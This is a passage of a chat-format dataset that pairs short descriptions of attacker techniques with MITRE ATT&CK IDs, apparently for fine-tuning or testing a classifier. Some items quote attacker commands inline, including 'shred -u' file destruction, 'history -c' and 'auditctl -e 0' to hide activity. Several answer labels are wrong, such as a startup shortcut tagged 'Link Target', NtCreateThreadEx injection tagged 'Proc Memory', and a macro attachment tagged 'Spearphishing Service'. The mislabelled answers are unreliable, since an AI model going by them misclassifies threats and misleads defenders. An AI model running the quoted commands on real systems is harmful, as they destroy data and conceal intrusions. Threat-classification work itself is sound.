                "content": "Attackers perform DLL side-loading by introducing a rogue DLL into the application’s folder, relying on the program’s default library loading order to execute the malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes the \"net group \"Domain Admins\" /domain\" command to enumerate privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors query the organization's public Bitbucket API to download all repository metadata and source files."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber espionage group uses a hidden encrypted container on a portable hard drive to exfiltrate sensitive diplomatic communications."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the lateral movement phase, the adversary executed \"netstat -ano\" to pinpoint outbound connections for pivoting."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging ptrace, the attacker hijacks a legitimate daemon and overwrites its function pointers to execute a payload."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor creates a new local Windows account to maintain persistence after reboot."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary conducts a targeted phishing campaign, embedding a malicious macro in a Word document sent to executives to capture Office 365 credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the Linux 'shred -u' utility to overwrite critical configuration files with random data before deletion."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary performs AS-REP roasting by requesting Kerberos ticket-granting tickets for non‑pre‑authenticated accounts and cracking the captured response hashes."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executed a malicious MSI package using msiexec.exe with the /quiet flag to silently install a backdoor component on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modified Azure Virtual Machine Scale Set configurations to increase the number of compromised VMs automatically."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker scripts calls to the DsGetSiteName function to discover site‑to‑site trust layouts and replication topology across the victim's network."
            },
            {
                "role": "assistant",
                "content": "T1590.003 - Gather Victim Network Information: Network Trust Dependencies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs a custom script that calls CredRead to pull saved credentials from the Windows Credential Store."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining a valid SSH session cookie, the threat actor replays it to establish a persistent remote service connection to the victim's server."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker copies confidential documents to a personal Dropbox folder for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves registering a fake network provider DLL that intercepts and logs authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using tools like theHarvester, the intruder gathers email addresses, hostnames, and IP ranges from publicly accessible webpages."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sends a personalized phishing email that includes a link to a fake internal web portal, capturing login credentials when the victim enters their username and password."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor runs PowerShell's Get-SmbShare to list all network shares on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor replicates a backdoor binary onto multiple Windows machines by leveraging an insecure network share and scheduled tasks."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a compromised Okta token to generate new sessions for multiple cloud applications."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed offline password cracking by applying a hybrid dictionary and rule‑based attack on leaked password hashes."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A group takes control of a victim's DNS records and redirects traffic to malicious sites they control."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By manipulating a poorly configured SSO portal, the attacker forces users to re‑authenticate, harvesting the entered credentials."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses mshta.exe to open a .chtml file that contains JavaScript code which spawns a hidden cmd.exe process, exemplifying System Binary Proxy Execution."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware executed a payload by calling InstallUtil with the /logfile and /logtofile options to bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider altered the domain's MX records to intercept corporate emails and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder sets up redundant communication pathways, including peer-to-peer overlays, to ensure command delivery when the primary server is compromised."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor adds a 'Debugger' entry under the Image File Execution Options for svchost.exe, redirecting execution to a malicious script whenever the service starts."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware verifies active user processes and aborts if only system services are running, indicating a virtual environment."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary crafted a reverse TCP shell using netcat via a bash command to establish a remote connection."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors built a botnet of compromised routers in a telecom network to intercept VoIP calls."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use DNS‑over‑HTTPS requests to a controlled web service that stores commands, effectively using a dead‑drop resolver."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Social engineering campaign where users are tricked into revealing their email passwords, leading to account takeover."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware copies its payload into the memory of a legitimate system process and leverages NtCreateThreadEx to run the code."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining administrative access, the intruder runs 'history -c' on the compromised Linux machine to erase the command line history."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sets up a shortcut in the user's startup items that points to a malicious DLL, causing it to load at boot."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uploads a malicious PHP web shell to the compromised web server and uses it to execute arbitrary commands remotely."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During credential dumping, the malware re-encrypts stolen hashes with a reversible cipher before exfiltration, planning to decrypt them later."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A high‑value executive receives a message on a corporate messaging platform with a link that installs a backdoor when clicked."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Collecting DNS query logs from free passive DNS archives enables the attacker to track changes in the victim’s domains."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign installs a malicious Outlook add‑in that silently collects and sends email content to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware monitors mouse movement and keyboard input, halting execution if no user interaction is detected, to avoid analysis in sandbox environments."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes staging phishing email content in a local staging directory for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker floods a target web application's login endpoint with thousands of valid HTTP requests per second, exhausting CPU and memory and causing the service to become unavailable."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a script to purge CloudWatch logs in AWS, erasing traces of the compromise."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Word document spawns a PowerShell command that creates a local account \"temp_user\" and grants it full system privileges."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious group uses compromised IoT devices to flood a corporate network with high‑rate traffic, disrupting normal operations."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary copies a malicious DLL into a remote process's memory and then uses QueueUserAPC to execute the portable executable code."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a Windows UAC bypass using eventvwr.exe to execute commands as administrator."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries modify the Gatekeeper policy plist to whitelist a malicious application, effectively subverting trust controls."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a script that runs Mimikatz to dump Kerberos tickets from memory for later use in lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining a leaked SSH private key, the attacker accessed a victim's VPS and deployed a botnet client."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using APC Queue injection, the threat actor queues a malicious APC in a high‑privilege process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware obtains a token from a logged‑in admin and spawns a malicious executable with that token."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses Windows Filtering Platform (WFP) socket filters to encrypt exfiltrated data in transit, evading network inspection."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a remote PowerShell session, the attacker cleared the Windows Event logs to hide intrusion."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By flooding the Windows Event Log service with massive log entries, the adversary causes the system to hang and stop processing legitimate events."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors create a remote access tool that can be used in upcoming operations."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker copies a malicious .dll to the victim's temp folder and executes it via regsvr32 /s to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion disables the kernel's audit feature via the 'auditctl -e 0' command."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor writes a systemd service that runs a script to add users to the sudoers file."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker clears the Bash command history and disables future history logging to conceal malicious commands."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor establishes a C2 channel encrypted with RSA public‑key cryptography to hide command traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code clears persistence by erasing autostart registry values and scheduled jobs that were created earlier."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employed a Python script to scrape sensitive data from web applications and send it to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A PowerShell one‑liner uses '[ADSISearcher]' to search the domain for all user objects, effectively discovering domain accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider exfiltrates a private repository by compressing the code base and uploading it to an external cloud storage."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email includes an .eml file as attachment; opening it runs a script that establishes a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By adding an extra space after the filename of a dropped DLL, the malware masquerades as a trusted library, causing analysts to overlook its malicious nature."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerable login page to embed a hidden iframe that captures and sends back credential data."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker uses the cloud provider's remote shell feature to directly interact with a compromised virtual server."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor used a compromised service account to assign themselves as a calendar delegate, giving them visibility into meeting schedules and email content."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor exploits a web shell on a SharePoint server to enumerate all document libraries and copy their contents to an external server."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised supplier’s software installer is used to spread a backdoor to downstream customers."
            },
            {
                "role": "assistant",
